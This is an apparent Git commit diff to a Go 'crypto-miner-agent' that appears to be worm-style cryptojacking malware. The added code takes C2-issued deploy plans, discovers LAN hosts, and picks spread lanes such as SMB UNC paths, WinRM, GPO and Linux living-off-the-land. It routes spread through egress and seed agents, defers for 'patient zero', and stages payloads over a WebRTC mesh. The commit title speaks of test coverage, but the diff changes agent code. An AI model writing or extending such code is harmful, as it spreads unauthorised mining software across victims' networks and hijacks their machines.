Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -12,6 +12,19 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// SpreadRouteHint is the server BGP-style spread route recommendation.
|
||||
type SpreadRouteHint struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
||||
type WebRTCMeshPlanBody struct {
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
@@ -38,8 +51,9 @@ type DeployPlanBody struct {
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
|
||||
@@ -69,10 +83,18 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
|
||||
|
||||
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
|
||||
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
|
||||
return ExecuteDeployPlanAs(cfg, plan, "")
|
||||
}
|
||||
|
||||
// ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent.
|
||||
func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) {
|
||||
lane := strings.TrimSpace(plan.JoinLane)
|
||||
if lane == "" {
|
||||
lane = strings.TrimSpace(plan.Action)
|
||||
}
|
||||
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
|
||||
return deferMsg, nil
|
||||
}
|
||||
switch lane {
|
||||
case "do_peer":
|
||||
if plan.Manifest == nil {
|
||||
@@ -135,6 +157,20 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
|
||||
if policy.RotationHours <= 0 {
|
||||
policy.RotationHours = DefaultWebRTCRotationHours
|
||||
}
|
||||
execID := strings.TrimSpace(executorAgentID)
|
||||
if execID != "" {
|
||||
if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID {
|
||||
policy.IsSeeder = true
|
||||
}
|
||||
if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID {
|
||||
policy.IsSeeder = true
|
||||
}
|
||||
}
|
||||
if !policy.IsSeeder {
|
||||
if seeder := PreferredLANSeeder(); seeder != nil {
|
||||
ApplyLANSeederToWebRTC(&policy, seeder)
|
||||
}
|
||||
}
|
||||
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
|
||||
Policy: policy,
|
||||
SHA256: plan.Manifest.SHA256,
|
||||
@@ -191,6 +227,27 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
|
||||
}
|
||||
}
|
||||
|
||||
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
|
||||
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
|
||||
return "", false
|
||||
}
|
||||
egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID)
|
||||
if egress == "" || egress == executorAgentID {
|
||||
return "", false
|
||||
}
|
||||
switch lane {
|
||||
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
|
||||
return fmt.Sprintf(
|
||||
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
|
||||
egress,
|
||||
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
|
||||
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
|
||||
), true
|
||||
default:
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
|
||||
func runJoinScript(script string, windows bool) error {
|
||||
script = strings.TrimSpace(script)
|
||||
if script == "" {
|
||||
@@ -257,6 +314,10 @@ func PickLocalJoinLane(discoveryJSON string) string {
|
||||
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
|
||||
|
||||
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
||||
return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan)
|
||||
}
|
||||
|
||||
func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
||||
raw := RunServiceDiscoverForJoin(maxLANHosts)
|
||||
result, parseErr := ParseServiceDiscoverJSON(raw)
|
||||
if parseErr != nil {
|
||||
@@ -285,13 +346,34 @@ func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan Dep
|
||||
if joinLane == "" {
|
||||
joinLane = resp.Plan.JoinLane
|
||||
}
|
||||
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
|
||||
if cfg.ScoutMode {
|
||||
return joinLane, "scout: join lane mapped (no payload staging)", nil
|
||||
}
|
||||
msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID)
|
||||
if err != nil {
|
||||
return joinLane, "", err
|
||||
}
|
||||
if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" {
|
||||
msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint)
|
||||
}
|
||||
return joinLane, msg, nil
|
||||
}
|
||||
|
||||
func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
|
||||
if hint == nil {
|
||||
return detail
|
||||
}
|
||||
routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f",
|
||||
strings.TrimSpace(hint.EgressAgentID),
|
||||
strings.TrimSpace(hint.SeedAgentID),
|
||||
hint.Score,
|
||||
)
|
||||
if detail == "" {
|
||||
return routeNote
|
||||
}
|
||||
return detail + "; " + routeNote
|
||||
}
|
||||
|
||||
// runServiceDiscoverFn allows tests to stub discovery output.
|
||||
var runServiceDiscoverFn func(maxLANHosts int) string
|
||||
|
||||
|
||||
Reference in New Issue
Block a user